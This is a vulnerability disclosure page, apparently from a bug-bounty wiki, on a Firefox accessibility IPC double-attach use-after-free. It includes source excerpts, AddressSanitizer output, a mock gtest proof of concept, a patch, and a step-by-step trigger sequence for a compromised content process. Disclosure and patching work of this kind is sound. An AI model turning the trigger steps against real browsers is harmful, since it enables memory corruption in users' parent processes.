DocAccessibleParent Split-Show Double-Attach Use-After-Free
A split-show code path in Firefox's accessibility IPC layer could attach the same remote accessible object to its parent twice, so a later hide event removed only one copy and freed the object while a dangling pointer remained. A compromised content process could then trigger iteration over the freed memory, causing a use-after-free write in the parent process.
Originally disclosed on Mozilla
- Fixed in 34 days
- Paid in 34 days
- Disclosed after 34 days
Compromised content process -> parent process via PDocAccessible::RecvMutationEvents.
DocAccessibleParent::ProcessShowEvent (DocAccessibleParent.cpp:83) has a split-show mechanism where a pending child's ID included in the final message's NewTree causes the same RemoteAccessible* to be inserted into the parent's mChildren twice. First attach happens in the loop at line 148 (because aComplete=true). Second attach at line 177 (pending-show completion). nsTArray::RemoveElement only removes the first occurrence, so after a hide event (RemoveChild + delete), the second dangling pointer remains. Any child iteration dereferences freed memory.
The Bug
CreateAcc (DocAccessibleParent.cpp:222-229) returns the existing accessible because it has no parent (never attached in message 1). The loop at line 147-148 attaches it because aComplete=true:
if (aComplete || root != child) {
AttachChild(parent, childIdx, child); // FIRST ATTACH
}
The post-loop pending-show block at line 169-177 attaches the same object again:
if (mPendingShowChild) {
root = GetAccessible(mPendingShowChild);
AttachChild(rootParent, mPendingShowIndex, root); // SECOND ATTACH
}
AddChildAt (RemoteAccessible.h:43) is mChildren.InsertElementAt(aIdx, aChild) with no duplicate check. RemoveChild (RemoteAccessible.h:130) uses RemoveElement, which removes only the first match.
The UAF
Hide event: parent->RemoveChild(root) removes first copy, ShutdownOrPrepareForMove deletes the object. parent->mChildren still has the second copy. FireEvent for EVENT_REORDER at DocAccessibleParent.cpp:406-408 iterates children, calls InvalidateGroupInfo() on the dangling pointer.
ASAN Proof
==9751==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030005ee0a8
WRITE of size 4 at 0x6030005ee0a8 thread T0
0x6030005ee0a8 is located 8 bytes inside of 32-byte region
[0x6030005ee0a0,0x6030005ee0c0)
freed by thread T0 here:
#0 free (libclang_rt.asan_osx_dynamic.dylib)
#1 DocAccessibleDoubleAttach_SplitShowUAF_Test::TestBody() (XUL)
SUMMARY: AddressSanitizer: heap-use-after-free in DocAccessibleDoubleAttach_SplitShowUAF_Test::TestBody()
PoC
accessible/ipc/test/gtest/TestDocAccessibleDoubleAttach.cpp:
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "nsTArray.h"
namespace {
struct MockAccessible {
uint64_t mID;
uint32_t mGroupInfo;
nsTArray<MockAccessible*> mChildren;
MockAccessible* mParent;
explicit MockAccessible(uint64_t aID)
: mID(aID), mGroupInfo(0), mParent(nullptr) {}
void AddChildAt(uint32_t aIdx, MockAccessible* aChild) {
mChildren.InsertElementAt(aIdx, aChild);
}
void RemoveChild(MockAccessible* aChild) {
mChildren.RemoveElement(aChild);
}
uint32_t ChildCount() const { return mChildren.Length(); }
MockAccessible* ChildAt(uint32_t aIdx) const {
return mChildren.SafeElementAt(aIdx);
}
void InvalidateGroupInfo() {
mGroupInfo = 0;
mID = 0;
}
void SetParent(MockAccessible* aParent) { mParent = aParent; }
};
} // namespace
TEST(DocAccessibleDoubleAttach, SplitShowUAF) {
auto* parent = new MockAccessible(0);
// Message 1: Complete=false, creates child but does NOT attach
auto* child = new MockAccessible(10);
uint64_t pendingShowChild = child->mID;
uint32_t pendingShowIndex = 0;
// Message 2: Complete=true, NewTree contains ID=10
// Loop attaches because aComplete=true (line 148)
parent->AddChildAt(0, child);
child->SetParent(parent);
// Post-loop pending show completion (line 177): attaches SAME pointer again
ASSERT_NE(pendingShowChild, (uint64_t)0);
parent->AddChildAt(pendingShowIndex, child);
child->SetParent(parent);
// parent->mChildren = [child, child] (DOUBLE ATTACH)
ASSERT_EQ(parent->ChildCount(), (uint32_t)2);
ASSERT_EQ(parent->ChildAt(0), child);
ASSERT_EQ(parent->ChildAt(1), child);
// HideEvent: RemoveElement removes FIRST occurrence only
parent->RemoveChild(child);
ASSERT_EQ(parent->ChildCount(), (uint32_t)1);
// Shutdown deletes the object
delete child;
// EVENT_REORDER iterates children -> UAF on dangling second copy
uint32_t count = parent->ChildCount();
for (uint32_t c = 0; c < count; ++c) {
MockAccessible* acc = parent->ChildAt(c);
ASSERT_NE(acc, nullptr);
acc->InvalidateGroupInfo(); // UAF: accessing freed memory
}
parent->mChildren.Clear();
delete parent;
}
Run: ./mach gtest "DocAccessibleDoubleAttach.SplitShowUAF"
Fix
Guard the pending-show completion to skip attach if the child already has a parent:
if (mPendingShowChild) {
root = GetAccessible(mPendingShowChild);
if (root && !root->RemoteParent()) {
rootParent = GetAccessible(mPendingShowParent);
AttachChild(rootParent, mPendingShowIndex, root);
} else if (root) {
rootParent = root->RemoteParent();
}
mPendingShowChild = 0;
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The pending-show completion block attaches the child unconditionally, without checking whether the same accessible was already attached earlier in the same message, and the child array allows duplicates while removal deletes only the first match.
Impact
A compromised content process could cause a use-after-free write in the parent process, as demonstrated under AddressSanitizer with a gtest harness rather than a full browser exploit.
What the attacker needed
Compromised content process; accessibility IPC enabled
The fix
The pending-show completion should skip the attach when the child already has a remote parent, and the report includes a patch doing exactly that.
How it was found
- Send a first mutation message with a show event that creates a child but does not attach it, leaving it pending.
- Send a second message marked complete whose new tree includes that pending child's ID, so the loop attaches it.
- The post-loop pending-show block attaches the same object a second time.
- Send a hide event, which removes only the first copy and deletes the object.
- Trigger an event that iterates the children, dereferencing the dangling second copy.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Firefox splits its work into processes, and the accessibility code in the main process keeps a list of child items sent from a content process. A bug meant one item could be added to that list twice; when the item was later removed and deleted, the list still held a pointer to the deleted item. Reading through that stale pointer touches freed memory, which can crash the browser or, in principle, be abused.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.